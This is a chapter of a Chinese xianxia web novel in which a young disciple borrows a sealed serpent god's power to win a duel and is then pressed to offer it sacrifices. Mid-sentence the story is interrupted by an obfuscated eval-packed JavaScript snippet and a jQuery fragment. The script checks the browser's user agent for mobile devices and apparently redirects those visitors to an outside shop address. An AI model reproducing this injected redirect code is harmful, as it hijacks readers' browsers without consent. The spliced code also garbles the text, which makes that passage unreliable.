两人剑光交织,段星河将灵力灌注于剑上,有种悍然的气势。他天生膂力异于常人,肩宽臂长,擅长用重剑。步云邪的剑太轻,还不能把他的长处发挥出来。锵地一声,他一剑斩下来,溅起一道火花。 于九微微扬眉,没想到这小子打起来这么狠,自己倒是小瞧他了。 “会咬人的狗不叫,你这小子有两下子。” 段星河的眼里透着股狠劲儿,道:“你那师侄会叫得很,是条好狗!” 他说着又是一剑斩过来,于九截住了他那一招,两人的长剑抵在一处,剑气激得段星河的发丝飞扬起来。两人靠的极近,于九在他脸侧道:“是不是他干的?” 段星河道:“不是。” 于九道:“你怎么知道不是?” 段星河冷冷道:“那晚我跟他在一起,不是他。” 于九手上的力气一分分压下来,道:“撒谎。” 将要到金丹期的修士,力气和灵力比起刚筑基的人强太多了。段星河咬紧了牙关,却还是顶不住他的力量,剑被压了下去。于九重重一掌打过来,段星河胸口一疼,根本稳不住身形,向后跌飞出去。 “星哥!” 步云邪又惊又怒,奔过去接他。段星河后背撞在一棵大树上,剑和腰包都落在了地上。天心观的人放声大笑起来,有人吹起了口哨。刘正阳终于扬眉吐气了,冷笑道:“本事不行,还要强出头,你就是活该!” 段星河的心口一阵闷痛,咳嗽了几声,一缕鲜血从嘴角淌了下来,竟是被一掌打出了内伤。魏小雨大声道:“你小师叔原本不是在天心观修炼的,他打赢了也不算你们有本事!” 于九的身份确实有点尴尬,虽然顶着师叔之名,其实就是刘正阳的一个保镖。刘正阳看着她,道:“臭丫头,多嘴多舌的干什么,你想替你二哥钻裤/裆啊?” 魏小雨怒道:“呸,你等我爹爹回来,看我不让他打断你们的狗腿!” 刘正阳嘿地一声笑了,道:“谁知道你爹什么时候回来,说不定他嫌你们这群拖油瓶碍事,不要你们了呢。” 于九缓步走过来,居高临下地看着他道:“还打不打,不打算你输了。” 认输就得受胯下之辱,段星河的身体疼得厉害,汗水顺着额角流下来。步云邪急了,想把他扶起来,道:“算了,我跟他们去见爷爷。” 段星河的脾气倔得很,抬手把他推开了,道:“还没打完呢。” 对面的人都在起哄,魏小雨等人望着这边,急得帮不上忙。段星河擦去了嘴角的血迹,想起了师娘,她一个弱女子拖着那么多大大小小的孩子,支撑着逍遥观不容易。自己是门派的长徒,师父不在,他必须保护自己的家人,不能让外人欺负他们。 于九静静地看着他,神色里带着一点怜悯。低阶者想要战胜高阶的修炼者,几乎是不可能的,除非拥有极其强大的力量。 几滴血溅落在腰包上,一颗小石子的形状凸显出来,是壁画中虺神头上的装饰。段星河耳边蓦然浮现起师弟们的话。 “这咒语怎么念不出来?” “这不是念的,要用血来献祭,用心神沟通,才能得到神的回应。” 血融合在了那块石头上,他心中想起了那段不可名状的咒语,眼前浮现起虺神俯视自己的模样。 你有什么愿望—— 恍惚中,他好像听见有人这么问自己。他喃喃道:“把你的力量赐给我吧,我愿意终身守护青岩山,保护重要的人。” 巨大的蛇睁开了红色的双眼,注视着它的奴仆。无数碎石随着它缓缓的游动,不住崩落下来。它低下了硕大的头颅,吐出鲜红的信子,仿佛要亲吻少年的额头。 刹那间,段星河感到身体中生出了一股炽热的力量,鼓动着要冲破胸膛。他难以控制那股力量,仰起头清啸一声,双眼变得血红。 “啊啊啊啊啊——” 对面的人不知他怎么回事,忽然好像变了个人似的,浑身透出一股强大的戾气,让人看了就害怕。 天阴沉下来,平地里骤然起了一阵大风,落叶和砂砾打着旋儿飞舞。到处一片飞沙走石,如同段星河喷薄而出的愤怒。众人被狂风吹得东倒西歪,慌张起来。有人喊道:“怎么了,忽然就变天了?” 魏小雨和几个小豆丁抱着一棵大树,大声道:“你们在祭坛吵嚷,惊扰了虺神,它来抓你们啦!” 小泥鳅道:“对,抓回去一锅清蒸,一锅红烧。这帮人心眼这么坏,下水一定是臭的,得挖出来扔掉!” 这股狂风来的奇怪,对面的人被吹得摔倒了几个,刘正阳的步辇被风掀得满地直滚,他傻了眼,在后头追了几步,自己被风吹得也站不住了。他大声喊道:“喂,你们又捣什么鬼?” 步云邪道:“不是你们捣鬼么?” 众人生怕被吹走,纷纷抱着周围的石头和大树,场面一片混乱。步云邪喝道:“却邪——” 他头上暗红色的发带飘飘荡荡地飞了下来,风虽然大,它却没有被吹跑,仿佛在等待主人的吩咐。这是步家寨子里传下来的一件法宝,历代祭司才能使用。他道:“把咱们的人都绑起来。” 却邪顿时变得又宽又长,一道硕大的红练鼓着猎猎的风,一圈又一圈把魏小雨等人拦腰绑在了树上。魏小雨的个子小,两条腿悬空着乱蹬,喊道:“二师兄,不得劲儿!” 步云邪道:“人都快被吹跑了,还管得不得劲!” 大风之中,于九使出了千斤坠的本事,衣衫被吹得猎猎作响,人硬是能屹立不倒。段星河不顾狂风,提起剑朝他斩了过去。两人的兵刃接二连三打在一处,锵锵锵锵溅出了一连串火花。 于九感觉他的力气仿佛骤然间放大了数十倍,自己的虎口都被他震得发麻,根本招架不住,被逼得不住向后退去。 风这么大,这小子奔行在其中,却好像毫无阻碍。 不对劲,太不对劲了。 于九心中还在错愕,段星河已经抓住了他的破绽,一剑斩到了他的脖颈前,速度既快且狠,如同一头凶猛的野兽。两人四目相对,段星河的眼里带着几缕血丝,没了平日里的淡然,透出一股强烈的杀气。 “服了没有?” 于九道:“你这是哪来的本事?” 段星河厉声道:“我就问你服了没有!” 于九看了一眼架在自己脖子上的剑刃,叹了口气道:“服了。” 段星河把剑收了回去,手指还在暗自颤抖,一时间难以适应体内的这股力量。不管怎么样,打赢了就行。他浑身的力气一松,大风把他吹得往前踉跄一步。于九抬手扶住了他,两人对视了一眼,于九的神色淡然。 于九对段星河没有太大的敌意,他到处游荡,哪里有钱,他便去哪里赚。见这少年豁出命去也要保护自己的师弟妹和师门的尊严,对他生出了几分佩服,倒是觉得他比自己那只会惹事的师侄强多了。 于九道:“年轻人别太逞一时之气。修炼是个日久天长的功夫,千万别想走捷径。” 段星河没说什么,意识到这外人也看出来了,自己能赢他,并非是简单地爆发出了潜力,而是借助了什么不可说的力量。步云邪大步过来了,道:“你没事吧?” 狂风渐渐平息了,段星河的情绪也平静下来。他道:“没事。” 于九还剑归鞘,扶起了歪在路边的步辇。刘正阳从一块大石头后面爬起来,道:“小师叔,不打了?” 于九道:“又打不过,还打什么?” 刘正阳急道:“那我给了你三十两银子呢。” 于九倒是挺豁达,道:“没打赢,退你一半。” 刘正阳又不稀罕钱,恨的是没能把段星河他们的面子按在地上摩擦。其他人缓过劲儿来了,纷纷聚了过来,道:“刘师兄,你没事吧。” 所有人都被大风吹得灰头土脸的,身上沾满了树叶、沙子,感觉这一场风来的实在怪异。段星河扬声道:“愿赌服输,刚才的事别去跟长辈告状。” 魏小雨大声道:“就是,谁去告状谁是孙子!” 她和几个小豆丁还被绑在树上,步云邪一扬手,却邪松开了,几个小孩儿一屁股摔在了地上。刘正阳也不想让父亲知道自己跟人私斗,哼了一声。他冷冷道:“早晚有你们好看的,咱们走着瞧。” 他说着一摆手,带着人走了。段星河刚才出了一身汗,被风一吹,这才意识到浑身都湿透了。其他人簇拥着他,把他当成了大英雄,目光里充满了崇拜。 魏小雨兴奋道:“大师兄,你好厉害!” 小泥鳅道:“就是,刚才大师兄打的那人连还手的余地都没有,太帅了!” 周围吵吵嚷嚷的,段星河却觉得像是隔着一层水波,什么也听不清楚。风里似乎传来了什么人的笑声,沙哑苍老,让他寒毛直竖。 他竖起耳朵,试图辨认那声音的来源,却又听不真了。一只手搭在他肩膀上,把他拉回了现实中。步云邪看着他,道:“怎么了?” 段星河清醒过来,意识到自己刚才出神了。 他摇了摇头,道:“没事,就是有点累。” 他的手臂上传来一阵疼痛,低头一看,却是被划了一道口子。魏小雨见他受了伤,小声道:“大师兄,对不起,要不是我跟他们吵架,你也不用跟他们动手了。” 她不知道蜂王蛊的事,还很内疚。段星河摸了摸她的脑袋,道:“跟你没关系,别放在心上。” 小石头还想着刚才的情形,道:“哎呀,刚才大师兄太帅了,剑快的跟闪电似的,可惜其他人没看见。” 段星河道:“小栓子他们还在后院里待着呢?” 小石头道:“是啊,大海哥看着他们,每天给他们带饭。” 反正都被天心观的人知道了,没必要藏着掖着的了。闷了这几天,那些师弟妹们也憋坏了。段星河道:“让那边的人都出来走动走动吧,刘正阳他们要看,就让他们看。” 魏小雨道:“就是,手脚残缺也没什么大不了的,刘正阳他们才是小丑呢。” 天色渐渐晚了,其他人去厨房领饭,段星河没什么胃口。步云邪道:“跟我来吧,我给你裹伤。” 两人回到了星垂殿,大殿后面是祭司的卧房,到处垂着黑色的帷幔。家具都是檀木做的,书桌上放着大六壬的天地盘,墙上挂着用黑曜石刻的二十八星宿的星图。流云状的灯架子上火光微微跳动,将星图照的如星空一般璀璨。一旁的衣架上,挂着他祭祀时穿过的法袍。镰刀形的法杖搁在架子上,刀刃发出幽幽的冷光。隔间有个硕大的黄铜丹炉,又有满满几架子新书旧书,一旁的筐子里还堆着些圆滚滚的竹简。 段星河坐在一张窄榻上,解开了衣裳,肌肉的轮廓现出来。他的身体结实而有力量感,锻炼的恰到好处。步云邪给他敷上了金疮药,用绷带包了起来。段星河动了动胳膊,感觉没什么大问题。步云邪道:“疼吗?” 段星河笑了一下,道:“不疼。” 步云邪微微皱眉,道:“你就嘴硬吧,打不过还硬打。” 段星河道:“不能看着外人欺负自家兄弟嘛。” 步云邪叹了口气,方才要不是他出头,自己恐怕以后都不能当祭司了。他低声道:“对不起,我以后不那么冲动了。” 他平时也不这么睚眦必报,但是跟刘正阳之间多少掺杂着一些私人恩怨。段星河淡淡道:“你该不会是还在为小时候的事记仇吧?” 步云邪的目光游移,显然是被他说中了。小时候刘正阳跟着他爹来青岩山,遇见了步云邪,悄悄地看了他许久。步云邪当时正在院子里扎马步,感觉有人盯着自己,回过头去时,刘正阳就躲到大树后,藏头露尾的。步云邪觉得这人多少有点病,就没理他。 隔了一天,刘正阳带了几个小弟过来,胆子也大了一圈。他摘了朵花送给步云邪,小心翼翼道:“妹妹,你真好看。” 步云邪从小最讨厌被人当成女孩子,面无表情道:“什么妹妹,我是男的。” 刘正阳十分惊讶,道:“不可能,他们说你将来要做祭司,你怎么可能是男的?” 步云邪把花扔在地上,用力踩了一脚,道:“男人为什么不能当祭司?” 这么好看的一个小女孩儿一下子变成了男孩,刘正阳感觉自己的心都要碎了。他沉浸在崩塌的世界里,大声喊道:“我爹说步家寨子的祭司都是女人。你骗人,你骗我!” 他嚷嚷着转身跑了,其他人也跟着一哄而散。步云邪莫名其妙就被他当成了女孩儿,还被说成骗子,也很委屈。段星河听见动静从屋里出来,道:“怎么了?” 步云邪眼里汪着眼泪,气愤愤地说:“刘正阳给我花,我不要。他就说我骗他,还说我不能当祭司。” 段星河看了看地上的那朵花,寻思了一下,大约明白是怎么回事了。他笑了,帮步云邪整了整衣领,道:“别听他瞎说,他眼神不好还没见识。男人女人都能当祭司,没那么多规矩的。” 步云邪擦了一下脸,道:“真的?” “当然是真的。”段星河认真道,“我从外面来,走过很多地方,见过很多事,我会骗你么?” 步云邪的眼睛渐渐亮起来,没有那么难过了。段星河温声道:“去洗个脸,等会儿一起去吃饭。” 两个人想起了从前的事,一时间都没说话。步云邪跟刘正阳的梁子从那时候就结下了,后来就算长大了,两个人还是一见面就跟斗鸡似的,看彼此很不顺眼。 段星河道:“算了吧,他一个纨绔子弟,有什么好跟他计较的。” 步云邪悻悻道:“是他非跟我过不去,又不是我招他的。” 段星河也知道刘正阳那张破嘴有多讨人厌,叹了口气,没再说什么。 小笙去大厨房把晚饭拿了过来,每人一块酱豆腐,一个煮鸡蛋,一块巴掌大的红焖羊肉,一份炒白菜和米饭,还有一大壶绿豆汤。他把食盒的盖子一揭,浓浓的香味顿时扑面而来,大家的心情也好了起来。天心观的人来之前,他们平时都吃杂粮饭,高粱混着大米煮,肉也只能等初一十五才能吃上一顿。有外客来,师娘不想落了自家的脸面,让厨房连着做了半个月的白米,每天晚上都有肉吃。 段星河深吸了口气,搓了搓筷子道:“还挺丰盛的。” 小笙道:“就这天心观的人还抱怨粗陋呢,也不知道平时吃什么山珍海味,真难伺候啊。” 门廊上放着几个坐垫,小笙把饭摆在外面,清风吹着十分清凉。段星河打了一架饿坏了,端起碗来就开始扒饭。步云邪看着他的胳膊,刚扎上绷带,血又渗出来了,看着都疼。 月亮渐渐升起来了,三个人吃着饭,安宁而又舒适。片刻小笙收拾了碗筷,拿到井边去洗,弄的水哗哗的。步云邪泡了一壶猴魁,坐在走廊上若有所思。淡淡的香气弥漫出来,他把一杯茶递了过来,仿佛有话要说。段星河喝了一口,道:“怎么了?” 步云邪道:“你刚才怎么爆发出那么大的力量,平时没见你修为那么深啊。” 段星河当时在心中默念了禁咒,一瞬间仿佛看见了虺神。他心中也有些后怕,垂下了眼道:“就是师父传我的四正罡气嘛,我一直在修炼,最近又有精进了。” 步云邪有些怀疑,伸手要摸他脉搏,道:“让我看看。” 段星河能感到自己体内还残余着那股力量,不想被步云邪发现。他站起来伸了个懒腰,倒退了两步道:“吃饱喝足了,我回去了。” 步云邪感觉他好像藏着什么似的,道:“你有事瞒着我?” 段星河立刻否认道:“没有,哪有啊。” 他说着纵身一跃,从台阶上跳了下去。步云邪往前追了一步,段星河离这边已经远了。他朝这边摆了摆手,三步并作两步,往逍遥观中走去了。 折腾了一天,段星河回到了住处,累的倒头就睡。他睡到半夜,莫名感到一阵口干燥热。他起身喝了一杯水,忽然见一条黑色的大蛇盘踞在屋顶,缓缓地游动着。 段星河吓了一跳,下意识把杯子扔了过去。哗地一声,杯子摔的粉碎,那条蛇被打得粉碎,片刻又重新聚拢在一起,却是一个幻影。 它注视着他,吐出了鲜红的信子。段星河感到一阵毛骨悚然,道:“你是谁,想干什么?” 巨蛇缓缓道:“我是虺神。你们唤醒了本座,祈求我赐予你力量,我来找你收取代价。” 它的声音低沉苍老,跟他下午在风里听见的那个声音一样。段星河没想到自己一时冲动,借用了神力,招来了这么大的麻烦。他哑声道:“你要什么代价?” 虺神道:“你获得了本座的力量,便是我在世间的代行者,要终生做我的奴仆。” 段星河皱眉道:“我不做你的仆人。” 虺神发出了一阵笑声,道:“狡猾的小东西,你用血跟我签订了契约,灵魂已经是我的了,怎么能反悔?” 它说话声中,段星河感觉胸膛传来一阵灼热的疼痛。他拉开衣襟一看。见上头有个拇指大的红印,看起来就像蛇头的模样。他身上原本没有这个痕迹的,诧异道:“这是什么?” 虺神道:“这是本座赐予你的祝福,也是你力量的源泉。你身为本座的奴仆,就要好生供奉本座。” 这痕迹透着一股邪气,不像是祝福,反而像是诅咒。段星河深吸了一口气,道:“我确实不能当你的奴仆。你把力量收回去吧,这祝福我不要了。” 虺神笑了,道:“不知好歹的东西,本座的力量,岂容你一个凡人说要就要,说还就还的?” 它说话声中, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13152748|138533||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 段星河的胸口猛地一疼,心脏像是被一根烙红的针扎透了。 好疼——! 那股疼痛猝不及防,他根本承受不住,重重地倒在地上,捂着胸口蜷缩成一团,连声音都发不出来。他一向没有心疼的毛病,此时却感觉死亡近在咫尺。 段星河意识到面前的神极其强大,杀死自己就像碾死一只蚂蚁一样容易,他根本没有选择的余地。片刻疼痛稍缓,他感到了沉重的压迫感,哑声道:“你想让我做什么?” 虺神道:“本座饿了,给我弄头羊,天亮前送到虺神洞里来。” 它说罢,巨大的身影渐渐消失在房屋的阴影中。段星河望着那片黑暗许久,还是难以相信发生了什么。他胸口的烙印隐隐作痛,催促着他去满足虺神的要求。段星河心烦意乱,打开了门,向外走去。 夜已经深了,门派里的人都睡着了。他独自走在路上,脚步声沙沙作响,影子在月亮下拖得斜长。 他垂着眼,想着刚才的事,几乎要怀疑自己做了一场噩梦。那尊古神沉睡了这么多年,也不知道为什么会苏醒。段星河心中沉甸甸的,觉得自己惹上了个大麻烦。 早知道就不逞一时之气了,神的力量是要用生命交换的,岂能容人儿戏?他伸手摸了一下胸口的烙印,不知道怎么才能去掉这个痕迹。 他忽而又想起了下午的情形,若是自己不出手,步云邪就要被刘正阳刁难。自己绝不可能坐视不理,若是重来一次,他还是会这么做。 段星河叹了口气,不觉间走到了牲口棚跟前。门派里唯一的一头瘦马慢吞吞地嚼着草料,老黄牛窝成一团,圈里的羊都已经睡着了。段星河数了数,还有十七头羊,最近每天都杀羊招待客人,少了一头应该不会被看出来吧? 他从腰包里掏出麻绳,从里头牵了一头黑羊出来。那只羊要叫,段星河抓了一把草喂给它,道:“跟我走吧。” 他牵着羊往后山走去,片刻进了虺神洞。洞里一如既往的漆黑阴沉,壁画上的大蛇静静地看着他。段星河低声道:“羊我带来了。” 他想了想,又从腰包里拿出了那颗蓝色的小石头,放在了祭祀台上,道:“你的东西,还给你了。” 山洞里没有任何回应,段星河把羊栓在一块石头上,转身走了出去。羊咩咩地叫了几声,温顺地蜷缩在原地,闭起了眼睛。山洞中传来滴滴答答的水声,寂静中,仿佛有什么从黑暗中浮现出来,巨大的身影笼罩了属于它的祭品。 黑羊剧烈地挣扎起来,鸣叫着,呼哧呼哧地喘着气。片刻声音渐渐低了下去,一道暗红的血迹顺着岩洞中的沟壑静静地淌了出来。 段星河回到了自己的住处,一觉睡到了天亮。 献上了祭品,虺神暂时安静下来了。他不确定它是不是真的放过了自己,心里还是有些忐忑。 他在屋里坐了片刻,觉得不能心存侥幸。当初那么多人费了好大力气才把它封印住了,自己必须得想点办法,不能坐以待毙。他想着这段时间发生过的事,自从小师妹去过虺神洞之后,事情就发生了微妙的变化,不如去问一问她好了。 上完了早课,魏小雨在庭院里跟几个同门玩耍。周围生满了青翠的凤尾竹,枝叶在清风里缓缓摇摆。她道:“我会变蝴蝶,你们想不想看?” 一群十一二岁的孩子们围着她,纷纷道:“想看、想看,快变一个!” 魏小雨闭目凝神,把灵力凝结在手中。她两只手虚虚地合在一起,片刻灵光一闪,她张开了手。一只蓝色的蝴蝶从她手心中闪着翅膀,翩翩飞了起来。那蝴蝶是她用灵力幻化成的,翅膀是半透明的,飞过的地方都会留下晶莹的轨迹。 “哇——好漂亮!” 一群孩子惊讶地看着蝴蝶,发出赞叹的声音。魏小雨十分自得,伸出了手指,蝴蝶便飞到她的指尖上停住了。 师父对这个孩儿寄予厚望,她还在母亲腹中时,魏清风就收集天材地宝,以极品黑曜石摆下了法阵,为孩子祈福七七四十九天,希望它能够拥有灵修的天赋。魏小雨果然没辜负父亲的期待,她出生时一阵紫气绕梁不散,生来就灵力过人,是百年难得一遇的先天玄阴圣体。 蝴蝶在她手上扇动着翅膀,附近有花丛,真的蝴蝶也被吸引过来了,绕着她翩翩飞舞。 其他孩子都很崇拜她,道:“小雨师姐,你真厉害。” 段星河走了过来,微微皱了一下眉头。法力不是拿来炫耀的东西,之前师娘就说过她几次,但她年纪小性子贪玩,说了几次还是这样。暂且随她去吧,眼下有更重要的事要问她。 他招了招手,道:“小雨,你过来一下。” 其他人见大师兄来了,便各自散了。两人站在一棵梧桐树下,段星河道:“前阵子你们几个私自闯进虺神洞,到底发生了什么事,怎么会昏倒在里面的?” 他的神色严肃,魏小雨有点紧张,搓着衣襟道:“什么也没发生……就是里头黑乎乎的,我也不知道怎么回事,就昏过去了。” 段星河看出了她藏着不老实,吓唬她道:“这件事很重要,我还会去问小石头他们,若是他们跟你说的不一样,我可要重重罚你。” 魏小雨果然害怕起来,犹豫了一下,道:“那好吧……我说了,你可别生气。” 段星河道:“你说吧。” 魏小雨道:“那天我们听了虺神的故事,就想去虺神洞看看。我和小石头、小泥鳅进了洞,见里头有个壁画,上头插着根棍子,还挺好看的。小石头爬到祭台上拽了拽,没拽动,说是长在里面了,小泥鳅也拽不动。我过去拔了一下,感觉有点松动,就把它抽出来了。” 她说起当时的事,还有些诧异,低头看了看自己的手心。段星河道:“然后呢?” 魏小雨道:“我把那根棍子揣在怀里,往前走了几步,忽然一阵地动山摇的,好像是地震了。我们几个很害怕,拔腿就往外跑,没跑几步就见一条大蛇从山洞深处游了出来,身体好粗好长,眼睛红通通的像灯笼一样。我当时吓得动弹不得,就这么昏过去了。” 段星河的心一凛,皱眉道:“这么大的事,你当时怎么没说?” 魏小雨小声道:“我差点就被那条大蛇吃了,心里太害怕了,又怕你们责怪我,就没敢说。” 遇见了那么骇人的情形,她们几个小孩儿没吓坏就不错了,不敢说出来也是人之常情。段星河道:“那根棍子呢,拿来给我看看。” 魏小雨转身跑回屋里,片刻拿了一根铁棍出来。那根棍子有一尺长,残缺不全的。段星河看了片刻,没瞧出来到底是什么法器。但不管怎么样,就是因为小师妹把它拔出来了,导致封印破裂,虺神苏醒了过来。 魏小雨生来就灵力强大,像个小哪吒似的翻江倒海,还没为家里立功,先捅了个大篓子。魏小雨紧张地看着他,道:“大师兄,我是不是闯祸了?” 几百年来都没人能撼动分毫的法器被一个小丫头轻而易举地拔了出来,这先天玄阴圣体果然非同一般。段星河叹了口气,觉得怪她也没用。他道:“这件事先别说出去,免得师娘担心,我去想想办法。” 魏小雨也不想让别人知道,点头如啄米。段星河便拿着那根棍子走了,打算等天黑去虺神洞原样插回去,希望能把虺神镇住。 他从厨房边经过时,见管事的李大娘叉着腰在门口骂人。 “哪个杀千刀的偷了我的羊,本来十七头,都不够吃的了,还偷!丧良心的东西,别让我抓住你,要不然老娘把你生吞了!” 她越骂越气,见几个天心观的人从门前走过,瞧热闹似的看她撒泼。李大娘把眼一瞪,大声道:“看什么看,你们见我丢的羊了没有?” 天心观的人一脸莫名其妙,道:“没有啊,你丢了羊问我们干什么?” 李大娘本来天天杀羊就够心疼的了,还丢了一头,简直心痛的无以复加。天心观的人一直赖着不走,每天还得好吃好喝地供着他们,让李大娘很不痛快。 她拿起菜刀蹲在院子里,泄愤地把一个黄皮的大南瓜剁成碎块,一边骂道:“臭不要脸的小贼,谁吃了我的羊,头上长角、身上长毛,变个咩咩叫的畜生,老娘对着它脖子就是一刀,燎去了浑身的毛,撒上盐放在火上烤……” 段星河被她咒的浑身难受,觉得这事不能再拖下去了,必须尽快解决。他加快了脚步,沉默着走了。 天很快黑了下来,段星河再次来到了虺神洞。他提着灯悄然走了进去,上次献上的羊已经不见了,地上只有一根拴过羊的麻绳,上头染着干涸的血迹。 段星河走到了壁画跟前,注意到画中大蛇的额头上有个缝隙。自己捡到的那块蓝色的石头就是从这里崩落下来的,原来这儿就是插法器的地方。 他把灯放在地上,爬上了祭祀台,把棍子插到了石缝里。棍子歪着半截在外面,摇摇欲坠。魏小雨说这根棍子原来就像长在石头里似的,现在却根本插不住。段星河试图把它弄得结实一点,却是越捣越松,碎石子噼里啪啦地直往下掉。 灯光把他的影子拉的斜长扭曲,洞里散发着一股腥臭的气息。山风从洞外呼啸而过,声音尖锐而又凄厉。段星河心里十分紧张,只想赶紧把法器恢复原样,让这一切结束。 这时候他听见了一阵低沉的笑声,心中顿时一凛。 “小伙子,你在干什么?” 段星河回头四处张望,看不到虺神的真身,只有一个巨大的黑影笼罩在山洞的上方。神是无处不在的,能在静默中注视着他的一举一动。段星河下意识把法器藏在了袖子里,神色有些慌张,道:“没什么。” 虺神缓缓道:“你是想把我再封印起来么?” 段星河的心思被它看穿了,后背嗡地一下子生出了一层冷汗,不知道它会不会突然暴怒起来把自己吃了。虺神的声音却带着一点戏谑,仿佛觉得区区人类就妄想镇压自己,简直天真的可笑。 “晚了,傻孩子。本座已经苏醒了,还会被你封印起来么?” 段星河意识到这件事没有这么容易了结了,道:“那……你想干什么?” 虺神道:“本座又饿了。” 段星河想起了李大娘叉着腰大发脾气的模样,抓了抓头发,焦虑道:“没法偷羊了,厨房的大娘已经发现了,今晚说不定就在羊圈外头蹲着呢,一逮一个准。” 虺神阴恻恻地笑了,道:“谁让你偷羊了,这回我想尝点新鲜的。你们门派不是人挺多的吗,去抓个小孩儿来吧。” 5. 祭祀 五 “去抓个活人来,我在这里等着你。” 一个备受师长信赖的好徒弟,师弟妹眼中可靠的大师兄,怎么能做这样的事,背叛大家的信任? 段星河从来没有这么痛苦过,他是为了保护身边的人才跟神祈求了力量,可现在却被要求做这样的事。如果真的这么做了,连他都要唾弃自己。 胸口的烙印发出一阵阵灼烧感,段星河的心脏疼得厉害,无论如何也不想帮它作恶。他哑声道:“我做不到。” 虺神阴沉道:“给你三天时间,到时候还做不到,本座就亲自出去,把所有人都吃掉。” 庞大的黑影消失了,段星河深深地皱起了眉头,觉得这恶魔就是故意在折磨自己。它就是要看自己痛苦的样子,乐在其中。 什么虺神,根本就是一个邪的不能再邪的怪物,视人命如草芥。难怪祖先要费尽心思把它封印起来,又一代代地让子孙加固封印。如今它苏醒了,又要有不少人受害。 段星河背负着这个秘密,没办法跟人说,心情十分沉重。他一整晚辗转反侧,次日上完了早课,他站在演武场上,看着师弟妹们一招一式地练剑。这些人都身体健全,是门派将来的希望。他看了良久,心事重重地走开了。 他怀着心事,不觉间走到了那群畸形的孩子们住的地方。虽然他让大家可以自由行动了,但这些孩子知道自己有残疾,不想给师门丢面子,依旧不怎么肯出院门。 一个六指的女孩拿石灰在地上画了几个白格子,跟一个独眼的孩子跳房子。阳光照下来,两个人笑的十分开心,短暂地忘却了自己的残缺,沉浸在快乐当中。 墙角生着高高的草丛,一群蚂蚁忙碌地爬来爬去。小栓子蹲在墙边,专注地看着泥巴地。 段星河走了过去,道:“你还在看蚂蚁?” 小栓子道:“嗯。” 他今天的鞋子又穿反了。段星河道:“鞋子穿着得劲么?” 小栓子依旧呆呆地道:“嗯。” 这小傻子的脑子不好使,不管跟他说什么,他都只会说嗯。大家嫌他呆,都不跟他玩。段星河下意识想:“这样的孩子就算失踪了,也不会掀起太大的风浪吧?” 伏顺从外头经过,见段星河跟那小傻子一起看蚂蚁,过来道:“大师兄,你在这里干什么?” 段星河猛地惊醒过来,意识到自己的念头太残忍了,心中十分自责。 “我怎么会这么想,这是一条活生生的人命,怎么能说牺牲就牺牲?” 伏顺见他脸色很不好看,道:“别跟这小傻子浪费时间了,他什么都不懂的。” 小栓子轻轻地扯了扯段星河的裤腿。他低下头,见一大朵白绒绒的蒲公英递了过来。小栓子讷讷地道:“这个好玩。大师兄,送给你。” 他怕蒲公英不完整了,憋着不敢喘大气。段星河接了过去,轻轻一吹,白色的飞絮向远处飞去。小栓子便笑了起来,用力地拍了几下手,比他看蚂蚁的时候高兴多了。 段星河的心里越发难受了,转身和伏顺一起向外走去。这些孩子虽然残缺,心地都是善良的。他怎么能为了自己苟活,去害他们的性命呢。 师娘说修仙之人的能力比凡夫俗子强,身上的责任就更大,不能肆意伤害弱小。她也让门下的弟子多做善事、修正道。 虽然修仙界一直奉行弱肉强食的原则,但段星河从小就想做个顶天立地的男子汉,撑起这个宗门,尽一己之力保护身边的人,如今却被虺神逼着做这种让人不齿的事。他攥紧了拳头,心里充满了恨意,觉得都是那邪神的错。 那恶魔只会越来越贪婪,一味满足它不是办法,自己得想办法对付它才行。 他向星垂殿走去,步云邪刚做完早课,坐在大殿里伸了个懒腰。 段星河站在门口道:“有空么?” 步云邪道:“有啊,找我来换药么?” 段星河摇头道:“伤没事了,我有别的事跟你说。” 小笙泡了一壶茶端过来,搂着笤帚去院子里扫地了。大殿里静悄悄的,阳光穿过门扇照进来,光芒在地上缓缓流转。伏顺坐在一个圆凳上,段星河和步云邪相对坐在罗汉床上。他从腰包里掏出一根铁棍,道:“阿云,你见多识广,认识这东西么?” 步云邪接了过去,用手擦了擦上面的尘土,辨识着上面的篆字。 伏顺凑过来,念道:“大啊……” 步云邪忍不住笑了,道:“什么大啊,托体同山阿,这念太阿好不好。” 伏顺搔了搔头,他书读得有限,有点不好意思。段星河道:“你认得?” 步云邪没回答,反问道:“你从哪儿弄的?” 段星河说:“小师妹之前隐瞒了咱们,她偷跑到虺神洞里,见壁画上插着这根棍子,一时好奇就拔下来了。” 步云邪的神色凝重起来,道:“我的天,那洞里的东西是能乱动的吗,她还拔出来了。” 伏顺也惊讶道:“那个小哪吒,她是有多大的胆子,灵力强也不能这么用啊。” 段星河道:“这是什么?” 步云邪寻思道:“这应该是当年逍遥观的祖师镇压虺神的那把剑。世间凡兵镇压不住这尊邪神,只有凤神赐予的太阿剑才能把它封印住。” 段星河拿起铁棍看了看,道:“这长得也不像剑啊。” 步云邪道:“这应该是个剑柄。” 段星河道:“剑刃呢?” 步云邪也想不明白,道:“断在石头里了么?” 段星河还仔细看过那个缝隙,道:“里头什么也没有,这东西怎么用?” 步云邪喃喃道:“真是怪了……你等我查一查。” 他去书架上拿下了几捆竹简和旧书,段星河过去帮他。院子里传来了哗哗的扫地声,伏顺打了个呵欠,忍不住要偷懒。他坐在门前的太阳地里,头一点一点的,片刻打起了瞌睡。 段星河跟步云邪盘腿坐在大殿的一角,翻着旧书,希望能找到一点线索。空气里细小的灰尘飞扬着,弥漫着一股陈旧的气息。良久步云邪举起了一卷竹简,激动道:“你看,是不是这个!” 竹简上刻着几行难以辨识的文字,是彝文。段星河不认识,道:“说了什么?” 步云邪道:“上面说,凤神将神兵太阿剑赐给青岩山中的修道者,虺神吃下酒肉后熟睡,最强壮的青年趁机将剑插入了虺神的头顶,把它封印了起来。” 大家一直以为这是个传说,都没放在心上,可如今段星河亲眼见过了虺神,才知道这些事都是真的。 他道:“剑刃的事呢?” 步云邪看了一阵子,遗憾地说:“没提。” 